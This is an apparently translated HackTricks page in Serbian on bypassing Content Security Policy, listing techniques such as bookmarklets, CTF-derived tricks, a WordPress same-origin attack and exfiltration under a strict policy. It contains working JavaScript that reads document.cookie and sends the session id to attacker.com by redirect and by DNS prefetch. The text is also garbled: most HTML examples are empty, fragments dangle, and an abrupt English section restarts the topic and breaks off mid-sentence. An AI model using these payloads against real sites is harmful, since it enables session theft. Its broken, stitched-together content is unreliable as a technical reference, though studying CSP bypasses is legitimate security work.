# Bypassovanje politike bezbednosti sadržaja (CSP)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! **Uvidi u hakovanje**\ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja **Vesti o hakovanju u realnom vremenu**\ Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu **Najnovije najave**\ Ostanite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi **Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! ## Šta je CSP Politika bezbednosti sadržaja (CSP) je prepoznata kao tehnologija pregledača, pretežno usmerena na **zaštitu od napada poput skriptovanja preko različitih sajtova (XSS)**. Funkcioniše tako što definiše i detaljno opisuje putanje i izvore sa kojih pregledač može bezbedno učitati resurse. Ovi resursi obuhvataju različite elemente poput slika, okvira i JavaScript-a. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući i inline resurse i izvršavanje koda u obliku stringa putem funkcija poput `eval`, `setTimeout` ili `setInterval`. Implementacija CSP-a se vrši putem **odgovarajućih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. Pregledači proaktivno sprovode ove odredbe i odmah blokiraju bilo kakva otkrivena kršenja. * Implementirano putem zaglavlja odgovora: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` * Implementirano putem meta oznake: ```xml ``` ### Zaglavlja CSP može biti sproveden ili praćen korišćenjem ovih zaglavlja: * `Content-Security-Policy`: Sprovodi CSP; pregledač blokira svako kršenje. * `Content-Security-Policy-Report-Only`: Koristi se za praćenje; prijavljuje kršenja bez blokiranja. Idealno za testiranje u okruženjima pre proizvodnje. ### Definisanje Resursa CSP ograničava poreklo za učitavanje kako aktivnog tako i pasivnog sadržaja, kontrolišući aspekte poput izvršavanja inline JavaScript-a i korišćenja `eval()`. Primer politike je: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Direktive * **script-src**: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute putem događaja ili XSLT stilova. * **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada određene direktive za preuzimanje nisu prisutne. * **child-src**: Specificira dozvoljene resurse za web radnike i ugrađene sadržaje okvira. * **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse poput fetch, WebSocket, XMLHttpRequest. * **frame-src**: Ograničava URL-ove za okvire. * **frame-ancestors**: Specificira koje izvore mogu ugraditi trenutnu stranicu, primenljivo na elemente poput ``, ` // The bot will load an URL with the payload ``` ### Putem Bookmarkleta Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio kada bi bio prevučen i ispusten ili kliknut u kontekstu trenutnog prozora veb stranice, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni. Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### Zaobilazak CSP-a ograničavanjem CSP-a U [**ovom CTF izveštaju**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP je zaobiđen ubacivanjem unutar dozvoljenog iframe-a strožiji CSP koji nije dozvoljavao učitavanje određene JS datoteke koja je zatim, putem **zagađenja prototipa** ili **dom clobbering-a**, omogućila **zloupotrebu drugačijeg skripta za učitavanje proizvoljnog skripta**. Možete **ograničiti CSP Iframe-a** pomoću atributa **`csp`**: {% code overflow="wrap" %} ```html ``` {% endcode %} U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\ CSP može postati stroži korišćenjem **HTML meta tagova** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje određene inline skripte putem sha**: ```html ``` ### JS ekstrakcija pomoću Content-Security-Policy-Report-Only Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstraktujete sa **`` obratite pažnju da će se ovaj **skript** **učitati** jer je **dozvoljen od strane 'self'**. Štaviše, i zato što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** putem **ranjive** **callback** krajnje tačke koja **zaobilazi CSP** da bi dao više privilegija korisniku, instalirao novi dodatak...\ Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## Bypass-ovi CSP eksfiltracije Ako postoji strogi CSP koji vam ne dozvoljava da **interaktujete sa eksternim serverima**, postoje neke stvari koje uvek možete uraditi da eksfiltrirate informacije. ### Lokacija Jednostavno možete ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Meta tag Možete preusmeriti ubacivanjem meta oznake (ovo je samo preusmeravanje, neće procuriti sadržaj) ```html ``` ### DNS Prefetch Da biste učitali stranice brže, pretraživači će unapred rešavati imena domaćina u IP adrese i keširati ih za kasniju upotrebu.\ Možete naznačiti pretraživaču da unapred rešava ime domaćina sa: `` Možete zloupotrebiti ovaj postupak da biste **eksfiltrirali osetljive informacije putem DNS zahteva**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` ## Bypassing Content Security Policy (CSP) --- ### Bypassing CSP using `unsafe-inline` When a website's CSP allows `'unsafe-inline'` for the `script-src` directive, it is possible to execute inline JavaScript code. This can be exploited by injecting malicious scripts directly into HTML elements such as ``, `